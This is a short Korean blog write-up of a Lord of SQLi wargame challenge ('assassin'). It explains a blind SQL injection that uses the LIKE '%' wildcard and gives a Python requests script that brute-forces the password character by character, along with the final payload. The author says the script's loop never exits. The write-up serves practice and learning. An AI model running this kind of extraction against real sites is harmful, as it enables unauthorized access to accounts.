워게임/LoS
[los 문제풀이] assassin
그적
2021. 2. 15. 12:15
블라인드 SQL 문제이다.
GET방식으로 넘겨준 pw 파라미터에 따라서 id 값이 나온다고 한다.
이 쿼리문에서 like 취약점인 % 연산자를 통해 pw 값을 알아낼 수 있다.
그럼 파이썬 코드를 짜볼까.
import requests
URL = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
header = {"Cookie" : "PHPSESSID=....."}
check = 0
flag = ''
while True:
for flag_num in range(48, 122):
tmp = flag + chr(flag_num) + '%'
para = {'pw' : tmp}
response = requests.get(URL, params=para, headers=header)
if("Hello admin" in response.text):
flag += chr(flag_num)
print("end >> ", flag)
check = 1
if("Hello guest" in response.text):
flag += chr(flag_num)
print("pw : ", flag)
break
if check == 1 :
break
위의 파이썬 코드를 실행하니, 다음과 같은 결과가 나왔다.
(뭔가 코드가 잘못되긴 했나 보다. while문을 안 빠져나오네.. )
?pw=902EF_% 를 url에 붙여줬다.
클리어